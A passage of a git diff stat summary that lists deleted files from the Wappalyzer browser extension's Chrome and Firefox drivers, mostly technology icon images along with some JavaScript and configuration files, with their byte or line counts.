.../drivers/chrome/images/icons/Starlet.png | Bin 2241 -> 0 bytes .../chrome/images/icons/StatCounter.png | Bin 575 -> 0 bytes .../chrome/images/icons/Store Systems.png | Bin 558 -> 0 bytes .../drivers/chrome/images/icons/Stripe.png | Bin 737 -> 0 bytes .../chrome/images/icons/SublimeVideo.png | Bin 802 -> 0 bytes .../drivers/chrome/images/icons/Subrion.png | Bin 906 -> 0 bytes .../drivers/chrome/images/icons/SunOS.png | Bin 873 -> 0 bytes .../chrome/images/icons/Supersized.png | Bin 292 -> 0 bytes .../drivers/chrome/images/icons/Swiftlet.png | Bin 1187 -> 0 bytes .../images/icons/Synology DiskStation.png | Bin 922 -> 0 bytes .../drivers/chrome/images/icons/TWiki.png | Bin 317 -> 0 bytes .../drivers/chrome/images/icons/TYPO3 CMS.png | Bin 941 -> 0 bytes .../chrome/images/icons/TYPO3 Flow.png | Bin 941 -> 0 bytes .../chrome/images/icons/TYPO3 Neos.png | Bin 941 -> 0 bytes .../drivers/chrome/images/icons/TYPOlight.png | Bin 702 -> 0 bytes .../drivers/chrome/images/icons/Tealeaf.png | Bin 367 -> 0 bytes .../drivers/chrome/images/icons/TeamCity.png | Bin 528 -> 0 bytes .../drivers/chrome/images/icons/Tengine.png | Bin 1914 -> 0 bytes .../chrome/images/icons/Textpattern CMS.png | Bin 1768 -> 0 bytes .../chrome/images/icons/TiddlyWiki.png | Bin 843 -> 0 bytes .../images/icons/Tiki Wiki CMS Groupware.png | Bin 694 -> 0 bytes .../drivers/chrome/images/icons/Timeline.png | Bin 1379 -> 0 bytes .../drivers/chrome/images/icons/Timeplot.png | Bin 724 -> 0 bytes .../drivers/chrome/images/icons/TinyMCE.png | Bin 267 -> 0 bytes .../drivers/chrome/images/icons/Titan.png | Bin 152 -> 0 bytes .../chrome/images/icons/TomatoCart.png | Bin 196 -> 0 bytes .../chrome/images/icons/TornadoServer.png | Bin 809 -> 0 bytes .../drivers/chrome/images/icons/Trac.png | Bin 1815 -> 0 bytes .../drivers/chrome/images/icons/TrackJs.png | Bin 3728 -> 0 bytes .../drivers/chrome/images/icons/Tumblr.png | Bin 456 -> 0 bytes .../chrome/images/icons/Twilight CMS.png | Bin 426 -> 0 bytes .../drivers/chrome/images/icons/TwistPHP.png | Bin 1722 -> 0 bytes .../chrome/images/icons/TwistedWeb.png | Bin 395 -> 0 bytes .../chrome/images/icons/Twitter Bootstrap.png | Bin 1427 -> 0 bytes .../drivers/chrome/images/icons/TypePad.png | Bin 629 -> 0 bytes .../drivers/chrome/images/icons/Typekit.png | Bin 896 -> 0 bytes .../drivers/chrome/images/icons/UIKit.png | Bin 393 -> 0 bytes .../drivers/chrome/images/icons/UNIX.png | Bin 1599 -> 0 bytes .../drivers/chrome/images/icons/Ubercart.png | Bin 826 -> 0 bytes .../drivers/chrome/images/icons/Ubuntu.png | Bin 951 -> 0 bytes .../drivers/chrome/images/icons/UltraCart.png | Bin 2545 -> 0 bytes .../drivers/chrome/images/icons/Umbraco.png | Bin 671 -> 0 bytes .../chrome/images/icons/Underscore.js.png | Bin 110 -> 0 bytes .../drivers/chrome/images/icons/UserRules.png | Bin 831 -> 0 bytes .../drivers/chrome/images/icons/UserVoice.png | Bin 589 -> 0 bytes .../drivers/chrome/images/icons/Ushahidi.png | Bin 2760 -> 0 bytes .../drivers/chrome/images/icons/VIVVO.png | Bin 218 -> 0 bytes .../drivers/chrome/images/icons/VP-ASP.png | Bin 248 -> 0 bytes .../drivers/chrome/images/icons/Vanilla.png | Bin 1948 -> 0 bytes .../drivers/chrome/images/icons/Varnish.png | Bin 325 -> 0 bytes .../drivers/chrome/images/icons/Veoxa.png | Bin 1462 -> 0 bytes .../drivers/chrome/images/icons/VideoJS.png | Bin 311 -> 0 bytes .../drivers/chrome/images/icons/VigLink.png | Bin 1179 -> 0 bytes .../drivers/chrome/images/icons/Vignette.png | Bin 393 -> 0 bytes .../drivers/chrome/images/icons/Vimeo.png | Bin 634 -> 0 bytes .../chrome/images/icons/Virata EmWeb.png | Bin 1379 -> 0 bytes .../chrome/images/icons/VirtueMart.png | Bin 1878 -> 0 bytes .../chrome/images/icons/Visual WebGUI.png | Bin 1486 -> 0 bytes .../chrome/images/icons/VisualPath.png | Bin 557 -> 0 bytes .../drivers/chrome/images/icons/Volusion.png | Bin 334 -> 0 bytes .../drivers/chrome/images/icons/Vox.png | Bin 171 -> 0 bytes .../drivers/chrome/images/icons/Vue.js.png | Bin 594 -> 0 bytes .../chrome/images/icons/W3 Total Cache.png | Bin 508 -> 0 bytes .../drivers/chrome/images/icons/W3Counter.png | Bin 1693 -> 0 bytes .../drivers/chrome/images/icons/WP Rocket.png | Bin 694 -> 0 bytes .../chrome/images/icons/Web Optimizer.png | Bin 520 -> 0 bytes .../drivers/chrome/images/icons/Web2py.png | Bin 133 -> 0 bytes .../drivers/chrome/images/icons/WebGUI.png | Bin 1973 -> 0 bytes .../chrome/images/icons/WebPublisher.png | Bin 340 -> 0 bytes .../drivers/chrome/images/icons/Webix.png | Bin 1926 -> 0 bytes .../chrome/images/icons/WebsPlanet.png | Bin 369 -> 0 bytes .../drivers/chrome/images/icons/Websale.png | Bin 531 -> 0 bytes .../chrome/images/icons/WebsiteBaker.png | Bin 603 -> 0 bytes .../drivers/chrome/images/icons/Webtrekk.png | Bin 337 -> 0 bytes .../drivers/chrome/images/icons/Webtrends.png | Bin 849 -> 0 bytes .../drivers/chrome/images/icons/Weebly.png | Bin 350 -> 0 bytes .../drivers/chrome/images/icons/WikkaWiki.png | Bin 667 -> 0 bytes .../chrome/images/icons/Windows CE.png | Bin 157 -> 0 bytes .../chrome/images/icons/Windows Server.png | Bin 157 -> 0 bytes .../drivers/chrome/images/icons/Wink.png | Bin 436 -> 0 bytes .../icons/Winstone Servlet Container.png | Bin 1379 -> 0 bytes .../drivers/chrome/images/icons/Wix.png | Bin 587 -> 0 bytes .../drivers/chrome/images/icons/Wolf CMS.png | Bin 231 -> 0 bytes .../chrome/images/icons/WooCommerce.png | Bin 940 -> 0 bytes .../drivers/chrome/images/icons/Woopra.png | Bin 2465 -> 0 bytes .../images/icons/WordPress Super Cache.png | Bin 1379 -> 0 bytes .../drivers/chrome/images/icons/WordPress.png | Bin 2153 -> 0 bytes .../images/icons/Wowza Media Server.png | Bin 512 -> 0 bytes .../drivers/chrome/images/icons/X-Cart.png | Bin 1254 -> 0 bytes .../drivers/chrome/images/icons/XAMPP.png | Bin 1929 -> 0 bytes .../drivers/chrome/images/icons/XMB.png | Bin 697 -> 0 bytes .../drivers/chrome/images/icons/XOOPS.png | Bin 615 -> 0 bytes .../drivers/chrome/images/icons/XRegExp.png | Bin 302 -> 0 bytes .../drivers/chrome/images/icons/Xajax.png | Bin 893 -> 0 bytes .../drivers/chrome/images/icons/Xanario.png | Bin 465 -> 0 bytes .../drivers/chrome/images/icons/XenForo.png | Bin 290 -> 0 bytes .../drivers/chrome/images/icons/XiTi.png | Bin 621 -> 0 bytes .../drivers/chrome/images/icons/Xitami.png | Bin 175 -> 0 bytes .../drivers/chrome/images/icons/YUI Doc.png | Bin 1737 -> 0 bytes .../drivers/chrome/images/icons/YUI.png | Bin 1287 -> 0 bytes .../drivers/chrome/images/icons/YaBB.png | Bin 357 -> 0 bytes .../chrome/images/icons/Yahoo Advertising.png | Bin 1737 -> 0 bytes .../chrome/images/icons/Yahoo! Ecommerce.png | Bin 1737 -> 0 bytes .../images/icons/Yahoo! Web Analytics.png | Bin 1737 -> 0 bytes .../chrome/images/icons/Yandex.Direct.png | Bin 2031 -> 0 bytes .../chrome/images/icons/Yandex.Metrika.png | Bin 1113 -> 0 bytes .../drivers/chrome/images/icons/Yieldlab.png | Bin 1823 -> 0 bytes .../drivers/chrome/images/icons/Yii.png | Bin 729 -> 0 bytes .../drivers/chrome/images/icons/YouTube.png | Bin 570 -> 0 bytes Wappalyzer/drivers/chrome/images/icons/ZK.png | Bin 398 -> 0 bytes .../chrome/images/icons/ZURB Foundation.png | Bin 833 -> 0 bytes .../drivers/chrome/images/icons/Zabbix.png | Bin 125 -> 0 bytes .../drivers/chrome/images/icons/Zanox.png | Bin 789 -> 0 bytes .../drivers/chrome/images/icons/Zen Cart.png | Bin 938 -> 0 bytes .../drivers/chrome/images/icons/Zend.png | Bin 1119 -> 0 bytes .../drivers/chrome/images/icons/Zepto.png | Bin 2358 -> 0 bytes .../drivers/chrome/images/icons/Zeuscart.png | Bin 1051 -> 0 bytes .../drivers/chrome/images/icons/Zinnia.png | Bin 848 -> 0 bytes .../drivers/chrome/images/icons/Zope.png | Bin 574 -> 0 bytes .../drivers/chrome/images/icons/amCharts.png | Bin 117 -> 0 bytes .../drivers/chrome/images/icons/basket.js.png | Bin 749 -> 0 bytes .../drivers/chrome/images/icons/cPanel.png | Bin 539 -> 0 bytes .../drivers/chrome/images/icons/cgit.png | Bin 115 -> 0 bytes .../drivers/chrome/images/icons/comScore.png | Bin 1429 -> 0 bytes .../drivers/chrome/images/icons/debut.png | Bin 210 -> 0 bytes .../drivers/chrome/images/icons/default.png | Bin 1379 -> 0 bytes .../drivers/chrome/images/icons/dwhttpd.png | Bin 1379 -> 0 bytes .../drivers/chrome/images/icons/e107.png | Bin 574 -> 0 bytes .../images/icons/eDevice SmartStack.png | Bin 569 -> 0 bytes .../drivers/chrome/images/icons/eHTTP.png | Bin 1379 -> 0 bytes .../drivers/chrome/images/icons/eSyndiCat.png | Bin 724 -> 0 bytes .../chrome/images/icons/eZ Publish.png | Bin 134 -> 0 bytes .../drivers/chrome/images/icons/flask.png | Bin 2027 -> 0 bytes .../drivers/chrome/images/icons/git.png | Bin 602 -> 0 bytes .../drivers/chrome/images/icons/gitweb.png | Bin 602 -> 0 bytes .../drivers/chrome/images/icons/gunicorn.png | Bin 1651 -> 0 bytes .../drivers/chrome/images/icons/iCongo.png | Bin 906 -> 0 bytes .../drivers/chrome/images/icons/iWeb.png | Bin 219 -> 0 bytes .../drivers/chrome/images/icons/io4-CMS.png | Bin 445 -> 0 bytes .../drivers/chrome/images/icons/jQTouch.png | Bin 884 -> 0 bytes .../chrome/images/icons/jQuery Mobile.png | Bin 1418 -> 0 bytes .../chrome/images/icons/jQuery Sparklines.png | Bin 1379 -> 0 bytes .../drivers/chrome/images/icons/jQuery UI.png | Bin 727 -> 0 bytes .../drivers/chrome/images/icons/jQuery.png | Bin 1418 -> 0 bytes .../drivers/chrome/images/icons/jqPlot.png | Bin 592 -> 0 bytes .../images/icons/libwww-perl-daemon.png | Bin 2241 -> 0 bytes .../drivers/chrome/images/icons/lighttpd.png | Bin 949 -> 0 bytes .../drivers/chrome/images/icons/math.js.png | Bin 346 -> 0 bytes .../chrome/images/icons/mini_httpd.png | Bin 124 -> 0 bytes .../chrome/images/icons/mod_auth_pam.png | Bin 1331 -> 0 bytes .../chrome/images/icons/mod_fastcgi.png | Bin 1331 -> 0 bytes .../drivers/chrome/images/icons/mod_jk.png | Bin 1331 -> 0 bytes .../drivers/chrome/images/icons/mod_perl.png | Bin 372 -> 0 bytes .../chrome/images/icons/mod_python.png | Bin 607 -> 0 bytes .../drivers/chrome/images/icons/mod_rack.png | Bin 1922 -> 0 bytes .../drivers/chrome/images/icons/mod_rails.png | Bin 1922 -> 0 bytes .../drivers/chrome/images/icons/mod_ssl.png | Bin 488 -> 0 bytes .../drivers/chrome/images/icons/mod_wsgi.png | Bin 199 -> 0 bytes .../drivers/chrome/images/icons/node.js.png | Bin 1044 -> 0 bytes .../chrome/images/icons/nopCommerce.png | Bin 736 -> 0 bytes .../chrome/images/icons/openEngine.png | Bin 273 -> 0 bytes .../drivers/chrome/images/icons/osCSS.png | Bin 750 -> 0 bytes .../chrome/images/icons/osCommerce.png | Bin 1647 -> 0 bytes .../drivers/chrome/images/icons/ownCloud.png | Bin 799 -> 0 bytes .../chrome/images/icons/papaya CMS.png | Bin 391 -> 0 bytes .../drivers/chrome/images/icons/phpAlbum.png | Bin 443 -> 0 bytes .../drivers/chrome/images/icons/phpBB.png | Bin 1240 -> 0 bytes .../drivers/chrome/images/icons/phpCMS.png | Bin 425 -> 0 bytes .../chrome/images/icons/phpDocumentor.png | Bin 367 -> 0 bytes .../chrome/images/icons/phpMyAdmin.png | Bin 468 -> 0 bytes .../chrome/images/icons/phpPgAdmin.png | Bin 237 -> 0 bytes .../chrome/images/icons/phpSQLiteCMS.png | Bin 359 -> 0 bytes .../drivers/chrome/images/icons/phpwind.png | Bin 467 -> 0 bytes .../chrome/images/icons/prettyPhoto.png | Bin 139 -> 0 bytes .../drivers/chrome/images/icons/punBB.png | Bin 295 -> 0 bytes .../drivers/chrome/images/icons/reCAPTCHA.png | Bin 607 -> 0 bytes .../drivers/chrome/images/icons/sIFR.png | Bin 111 -> 0 bytes .../drivers/chrome/images/icons/sNews.png | Bin 270 -> 0 bytes .../chrome/images/icons/script.aculo.us.png | Bin 542 -> 0 bytes .../drivers/chrome/images/icons/spin.js.png | Bin 1295 -> 0 bytes .../chrome/images/icons/swift.engine.png | Bin 130 -> 0 bytes .../drivers/chrome/images/icons/three.js.png | Bin 275 -> 0 bytes .../drivers/chrome/images/icons/thttpd.png | Bin 124 -> 0 bytes .../drivers/chrome/images/icons/total.js.png | Bin 176 -> 0 bytes .../drivers/chrome/images/icons/uCore.png | Bin 779 -> 0 bytes .../drivers/chrome/images/icons/vBulletin.png | Bin 1808 -> 0 bytes .../drivers/chrome/images/icons/viennaCMS.png | Bin 1379 -> 0 bytes .../chrome/images/icons/webEdition.png | Bin 418 -> 0 bytes .../drivers/chrome/images/icons/xCharts.png | Bin 1379 -> 0 bytes .../chrome/images/icons/xtCommerce.png | Bin 1092 -> 0 bytes .../drivers/chrome/images/icons/xui.png | Bin 600 -> 0 bytes .../chrome/images/icons/yepnope.js.png | Bin 1330 -> 0 bytes Wappalyzer/drivers/chrome/images/twitter.png | Bin 373 -> 0 bytes Wappalyzer/drivers/chrome/js/content.js | 63 - Wappalyzer/drivers/chrome/js/defaults.js | 5 - Wappalyzer/drivers/chrome/js/driver.js | 276 -- Wappalyzer/drivers/chrome/js/ga.js | 19 - Wappalyzer/drivers/chrome/js/i18n.js | 13 - Wappalyzer/drivers/chrome/js/inject.js | 14 - Wappalyzer/drivers/chrome/js/options.js | 55 - Wappalyzer/drivers/chrome/js/popup.js | 62 - Wappalyzer/drivers/chrome/js/wappalyzer.js | 531 --- Wappalyzer/drivers/chrome/manifest.json | 29 - Wappalyzer/drivers/chrome/options.html | 40 - Wappalyzer/drivers/chrome/popup.html | 21 - Wappalyzer/drivers/firefox/README.md | 0 Wappalyzer/drivers/firefox/data/apps.json | 4246 ----------------- Wappalyzer/drivers/firefox/data/css/panel.css | 69 - .../drivers/firefox/data/images/icon32.png | Bin 1899 -> 0 bytes .../firefox/data/images/icon32_hot.png | Bin 1629 -> 0 bytes .../firefox/data/images/icons/.gitkeep | 0 .../firefox/data/images/icons/1C-Bitrix.png | Bin 369 -> 0 bytes .../firefox/data/images/icons/1und1.png | Bin 288 -> 0 bytes .../firefox/data/images/icons/2z Project.png | Bin 529 -> 0 bytes .../drivers/firefox/data/images/icons/3DM.png | Bin 631 -> 0 bytes .../firefox/data/images/icons/3dCart.png | Bin 339 -> 0 bytes .../firefox/data/images/icons/3ware.png | Bin 631 -> 0 bytes .../firefox/data/images/icons/AMPcms.png | Bin 779 -> 0 bytes .../firefox/data/images/icons/AOLserver.png | Bin 473 -> 0 bytes .../images/icons/AT Internet Analyzer.png | Bin 796 -> 0 bytes .../data/images/icons/AT Internet XiTi.png | Bin 796 -> 0 bytes .../firefox/data/images/icons/ATEN.png | Bin 644 -> 0 bytes .../data/images/icons/ATG Web Commerce.png | Bin 873 -> 0 bytes .../firefox/data/images/icons/AWStats.png | Bin 499 -> 0 bytes .../data/images/icons/Accessible Portal.png | Bin 682 -> 0 bytes .../firefox/data/images/icons/AdInfinity.png | Bin 1363 -> 0 bytes .../firefox/data/images/icons/AdRiver.png | Bin 299 -> 0 bytes .../firefox/data/images/icons/AdRoll.png | Bin 633 -> 0 bytes .../firefox/data/images/icons/Adcash.png | Bin 621 -> 0 bytes .../firefox/data/images/icons/AddShoppers.png | Bin 1866 -> 0 bytes .../firefox/data/images/icons/AddThis.png | Bin 663 -> 0 bytes .../firefox/data/images/icons/Adobe CQ5.png | Bin 735 -> 0 bytes .../data/images/icons/Adobe ColdFusion.png | Bin 310 -> 0 bytes .../data/images/icons/Adobe GoLive.png | Bin 374 -> 0 bytes .../firefox/data/images/icons/Adobe Muse.png | Bin 2086 -> 0 bytes .../data/images/icons/Adobe RoboHelp.png | Bin 1774 -> 0 bytes .../data/images/icons/Advanced Web Stats.png | Bin 844 -> 0 bytes .../data/images/icons/Advert Stream.png | Bin 1397 -> 0 bytes .../firefox/data/images/icons/Adzerk.png | Bin 1050 -> 0 bytes .../firefox/data/images/icons/Airee.png | Bin 485 -> 0 bytes .../firefox/data/images/icons/Akamai.png | Bin 845 -> 0 bytes .../images/icons/Algolia Realtime Search.png | Bin 1261 -> 0 bytes .../data/images/icons/Allegro RomPager.png | Bin 205 -> 0 bytes .../firefox/data/images/icons/Alloy.png | Bin 267 -> 0 bytes .../firefox/data/images/icons/AlloyUI.png | Bin 607 -> 0 bytes .../firefox/data/images/icons/Amaya.png | Bin 454 -> 0 bytes .../firefox/data/images/icons/Ametys.png | Bin 567 -> 0 bytes .../firefox/data/images/icons/Amiro.CMS.png | Bin 347 -> 0 bytes .../firefox/data/images/icons/Anchor CMS.png | Bin 342 -> 0 bytes .../firefox/data/images/icons/AngularJS.png | Bin 1618 -> 0 bytes .../data/images/icons/Apache HBase.png | Bin 185 -> 0 bytes .../data/images/icons/Apache Hadoop.png | Bin 1505 -> 0 bytes .../data/images/icons/Apache JSPWiki.png | Bin 566 -> 0 bytes .../data/images/icons/Apache Tomcat.png | Bin 1569 -> 0 bytes .../images/icons/Apache Traffic Server.png | Bin 747 -> 0 bytes .../data/images/icons/Apache Wicket.png | Bin 1684 -> 0 bytes .../firefox/data/images/icons/Apache.png | Bin 1331 -> 0 bytes .../firefox/data/images/icons/AppNexus.png | Bin 1691 -> 0 bytes .../firefox/data/images/icons/Arc Forum.png | Bin 384 -> 0 bytes .../images/icons/Artifactory Web Server.png | Bin 317 -> 0 bytes .../firefox/data/images/icons/Artifactory.png | Bin 317 -> 0 bytes .../firefox/data/images/icons/AsciiDoc.png | Bin 131 -> 0 bytes .../data/images/icons/Atlassian Bitbucket.png | Bin 692 -> 0 bytes .../images/icons/Atlassian Confluence.png | Bin 1137 -> 0 bytes .../data/images/icons/Atlassian FishEye.png | Bin 766 -> 0 bytes .../icons/Atlassian Jira Issue Collector.png | Bin 809 -> 0 bytes .../data/images/icons/Atlassian Jira.png | Bin 809 -> 0 bytes .../firefox/data/images/icons/Avangate.png | Bin 858 -> 0 bytes .../firefox/data/images/icons/BIGACE.png | Bin 617 -> 0 bytes .../firefox/data/images/icons/Backbone.js.png | Bin 1525 -> 0 bytes .../firefox/data/images/icons/Banshee.png | Bin 254 -> 0 bytes .../firefox/data/images/icons/BaseHTTP.png | Bin 755 -> 0 bytes .../firefox/data/images/icons/BigDump.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/Bigcommerce.png | Bin 574 -> 0 bytes .../firefox/data/images/icons/Bigware.png | Bin 750 -> 0 bytes .../firefox/data/images/icons/BittAds.png | Bin 184 -> 0 bytes .../firefox/data/images/icons/Blogger.png | Bin 261 -> 0 bytes .../firefox/data/images/icons/BlueKai.png | Bin 1385 -> 0 bytes .../firefox/data/images/icons/Bluefish.png | Bin 1871 -> 0 bytes .../drivers/firefox/data/images/icons/Boa.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/Bolt.png | Bin 1544 -> 0 bytes .../firefox/data/images/icons/Bonfire.png | Bin 1994 -> 0 bytes .../firefox/data/images/icons/Brother.png | Bin 210 -> 0 bytes .../firefox/data/images/icons/BrowserCMS.png | Bin 509 -> 0 bytes .../firefox/data/images/icons/BugSense.png | Bin 336 -> 0 bytes .../firefox/data/images/icons/BugSnag.png | Bin 5226 -> 0 bytes .../firefox/data/images/icons/Bugzilla.png | Bin 641 -> 0 bytes .../data/images/icons/Burning Board.png | Bin 655 -> 0 bytes .../data/images/icons/Business Catalyst.png | Bin 362 -> 0 bytes .../firefox/data/images/icons/BuySellAds.png | Bin 370 -> 0 bytes .../drivers/firefox/data/images/icons/C++.png | Bin 743 -> 0 bytes .../firefox/data/images/icons/CFML.png | Bin 310 -> 0 bytes .../firefox/data/images/icons/CKEditor.png | Bin 712 -> 0 bytes .../data/images/icons/CMS Made Simple.png | Bin 1168 -> 0 bytes .../firefox/data/images/icons/CMSimple.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/CO2Stats.png | Bin 642 -> 0 bytes .../data/images/icons/CPG Dragonfly.png | Bin 407 -> 0 bytes .../firefox/data/images/icons/CS Cart.png | Bin 315 -> 0 bytes .../firefox/data/images/icons/CacheFly.png | Bin 348 -> 0 bytes .../firefox/data/images/icons/CakePHP.png | Bin 706 -> 0 bytes .../data/images/icons/Canon HTTP Server.png | Bin 678 -> 0 bytes .../firefox/data/images/icons/Canon.png | Bin 678 -> 0 bytes .../firefox/data/images/icons/Carbon Ads.png | Bin 595 -> 0 bytes .../firefox/data/images/icons/Cargo.png | Bin 147 -> 0 bytes .../firefox/data/images/icons/Catwalk.png | Bin 678 -> 0 bytes .../firefox/data/images/icons/CentOS.png | Bin 670 -> 0 bytes .../firefox/data/images/icons/CenteHTTPd.png | Bin 736 -> 0 bytes .../firefox/data/images/icons/Chameleon.png | Bin 773 -> 0 bytes .../firefox/data/images/icons/Chamilo.png | Bin 1231 -> 0 bytes .../firefox/data/images/icons/Chartbeat.png | Bin 981 -> 0 bytes .../firefox/data/images/icons/Cherokee.png | Bin 635 -> 0 bytes .../firefox/data/images/icons/CherryPy.png | Bin 301 -> 0 bytes .../firefox/data/images/icons/Chitika.png | Bin 1169 -> 0 bytes .../firefox/data/images/icons/ClickHeat.png | Bin 434 -> 0 bytes .../firefox/data/images/icons/ClickTale.png | Bin 1155 -> 0 bytes .../firefox/data/images/icons/Clicky.png | Bin 1869 -> 0 bytes .../firefox/data/images/icons/CloudFlare.png | Bin 1640 -> 0 bytes .../firefox/data/images/icons/Cloudera.png | Bin 500 -> 0 bytes .../firefox/data/images/icons/CodeIgniter.png | Bin 1037 -> 0 bytes .../firefox/data/images/icons/CodeMirror.png | Bin 179 -> 0 bytes .../data/images/icons/Commerce Server.png | Bin 351 -> 0 bytes .../data/images/icons/CompaqHTTPServer.png | Bin 589 -> 0 bytes .../firefox/data/images/icons/Concrete5.png | Bin 1851 -> 0 bytes .../firefox/data/images/icons/Connect.png | Bin 201 -> 0 bytes .../firefox/data/images/icons/Contao.png | Bin 301 -> 0 bytes .../firefox/data/images/icons/Contenido.png | Bin 205 -> 0 bytes .../firefox/data/images/icons/Contens.png | Bin 101 -> 0 bytes .../firefox/data/images/icons/ContentBox.png | Bin 624 -> 0 bytes .../data/images/icons/ConversionLab.png | Bin 557 -> 0 bytes .../firefox/data/images/icons/Coppermine.png | Bin 220 -> 0 bytes .../firefox/data/images/icons/Cosmoshop.png | Bin 236 -> 0 bytes .../firefox/data/images/icons/Cotonti.png | Bin 520 -> 0 bytes .../firefox/data/images/icons/CouchDB.png | Bin 393 -> 0 bytes .../firefox/data/images/icons/CppCMS.png | Bin 2864 -> 0 bytes .../firefox/data/images/icons/Craft CMS.png | Bin 681 -> 0 bytes .../firefox/data/images/icons/Crazy Egg.png | Bin 303 -> 0 bytes .../firefox/data/images/icons/Criteo.png | Bin 343 -> 0 bytes .../firefox/data/images/icons/Cross Pixel.png | Bin 160 -> 0 bytes .../firefox/data/images/icons/CubeCart.png | Bin 734 -> 0 bytes .../firefox/data/images/icons/Cufon.png | Bin 2528 -> 0 bytes .../drivers/firefox/data/images/icons/D3.png | Bin 1328 -> 0 bytes .../drivers/firefox/data/images/icons/DAV.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/DHTMLX.png | Bin 127 -> 0 bytes .../drivers/firefox/data/images/icons/DTG.png | Bin 1299 -> 0 bytes .../firefox/data/images/icons/Dancer.png | Bin 794 -> 0 bytes .../firefox/data/images/icons/Danneo CMS.png | Bin 231 -> 0 bytes .../firefox/data/images/icons/Dart.png | Bin 703 -> 0 bytes .../firefox/data/images/icons/Darwin.png | Bin 203 -> 0 bytes .../data/images/icons/DataLife Engine.png | Bin 420 -> 0 bytes .../data/images/icons/David Webbox.png | Bin 270 -> 0 bytes .../firefox/data/images/icons/Debian.png | Bin 721 -> 0 bytes .../firefox/data/images/icons/Decorum.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/DedeCMS.png | Bin 834 -> 0 bytes .../firefox/data/images/icons/Dell.png | Bin 453 -> 0 bytes .../firefox/data/images/icons/Demandware.png | Bin 154 -> 0 bytes .../firefox/data/images/icons/Deployd.png | Bin 765 -> 0 bytes .../firefox/data/images/icons/DirectAdmin.png | Bin 389 -> 0 bytes .../firefox/data/images/icons/Discourse.png | Bin 1916 -> 0 bytes .../firefox/data/images/icons/Disqus.png | Bin 320 -> 0 bytes .../firefox/data/images/icons/Django CMS.png | Bin 835 -> 0 bytes .../firefox/data/images/icons/Django.png | Bin 529 -> 0 bytes .../firefox/data/images/icons/Dojo.png | Bin 247 -> 0 bytes .../firefox/data/images/icons/Dokeos.png | Bin 644 -> 0 bytes .../firefox/data/images/icons/DokuWiki.png | Bin 2944 -> 0 bytes .../firefox/data/images/icons/DotNetNuke.png | Bin 691 -> 0 bytes .../firefox/data/images/icons/Dotclear.png | Bin 247 -> 0 bytes .../firefox/data/images/icons/Doxygen.png | Bin 115 -> 0 bytes .../firefox/data/images/icons/DreamWeaver.png | Bin 649 -> 0 bytes .../data/images/icons/Drupal Commerce.png | Bin 830 -> 0 bytes .../firefox/data/images/icons/Drupal.png | Bin 1409 -> 0 bytes .../firefox/data/images/icons/Dynamicweb.png | Bin 507 -> 0 bytes .../firefox/data/images/icons/E-Merchant.png | Bin 314 -> 0 bytes .../firefox/data/images/icons/ELOG HTTP.png | Bin 203 -> 0 bytes .../firefox/data/images/icons/ELOG.png | Bin 203 -> 0 bytes .../firefox/data/images/icons/EPiServer.png | Bin 246 -> 0 bytes .../firefox/data/images/icons/EPrints.png | Bin 651 -> 0 bytes .../firefox/data/images/icons/ESERV-10.png | Bin 262 -> 0 bytes .../firefox/data/images/icons/EWS-NIC4.png | Bin 453 -> 0 bytes .../firefox/data/images/icons/Ecodoo.png | Bin 156 -> 0 bytes .../firefox/data/images/icons/EdgeCast.png | Bin 691 -> 0 bytes .../firefox/data/images/icons/Eloqua.png | Bin 873 -> 0 bytes .../data/images/icons/EmbedThis Appweb.png | Bin 354 -> 0 bytes .../data/images/icons/Embedthis-http.png | Bin 465 -> 0 bytes .../firefox/data/images/icons/Ember.js.png | Bin 1735 -> 0 bytes .../firefox/data/images/icons/Enyo.png | Bin 197 -> 0 bytes .../firefox/data/images/icons/Epom.png | Bin 728 -> 0 bytes .../firefox/data/images/icons/Erlang.png | Bin 237 -> 0 bytes .../firefox/data/images/icons/Exhibit.png | Bin 611 -> 0 bytes .../firefox/data/images/icons/Express.png | Bin 1187 -> 0 bytes .../data/images/icons/ExpressionEngine.png | Bin 314 -> 0 bytes .../firefox/data/images/icons/ExtJS.png | Bin 1376 -> 0 bytes .../firefox/data/images/icons/FAST ESP.png | Bin 752 -> 0 bytes .../icons/FAST Search for SharePoint.png | Bin 548 -> 0 bytes .../drivers/firefox/data/images/icons/FWP.png | Bin 295 -> 0 bytes .../firefox/data/images/icons/Fact Finder.png | Bin 92 -> 0 bytes .../data/images/icons/Fat-Free Framework.png | Bin 1494 -> 0 bytes .../firefox/data/images/icons/Fedora.png | Bin 1173 -> 0 bytes .../firefox/data/images/icons/Fireblade.png | Bin 949 -> 0 bytes .../firefox/data/images/icons/FlashCom.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/FlexCMP.png | Bin 237 -> 0 bytes .../firefox/data/images/icons/FluxBB.png | Bin 332 -> 0 bytes .../firefox/data/images/icons/Flyspray.png | Bin 350 -> 0 bytes .../data/images/icons/Font Awesome.png | Bin 738 -> 0 bytes .../firefox/data/images/icons/Fortune3.png | Bin 2787 -> 0 bytes .../firefox/data/images/icons/FreeBSD.png | Bin 2512 -> 0 bytes .../firefox/data/images/icons/FreeTextBox.png | Bin 657 -> 0 bytes .../firefox/data/images/icons/FrontPage.png | Bin 357 -> 0 bytes .../firefox/data/images/icons/Fusion Ads.png | Bin 240 -> 0 bytes .../firefox/data/images/icons/G-WAN.png | Bin 171 -> 0 bytes .../data/images/icons/GX WebManager.png | Bin 681 -> 0 bytes .../firefox/data/images/icons/Gallery.png | Bin 596 -> 0 bytes .../firefox/data/images/icons/Gambio.png | Bin 730 -> 0 bytes .../firefox/data/images/icons/Gauges.png | Bin 156 -> 0 bytes .../firefox/data/images/icons/Gentoo.png | Bin 1910 -> 0 bytes .../data/images/icons/Get Satisfaction.png | Bin 160 -> 0 bytes .../data/images/icons/GetSimple CMS.png | Bin 213 -> 0 bytes .../firefox/data/images/icons/Ghost.png | Bin 204 -> 0 bytes .../firefox/data/images/icons/GitBook.png | Bin 485 -> 0 bytes .../firefox/data/images/icons/GitLab.png | Bin 856 -> 0 bytes .../firefox/data/images/icons/GlassFish.png | Bin 302 -> 0 bytes .../firefox/data/images/icons/Glyphicons.png | Bin 251 -> 0 bytes .../firefox/data/images/icons/GoAhead.png | Bin 465 -> 0 bytes .../firefox/data/images/icons/GoStats.png | Bin 787 -> 0 bytes .../data/images/icons/Google AdSense.png | Bin 1058 -> 0 bytes .../data/images/icons/Google Analytics.png | Bin 829 -> 0 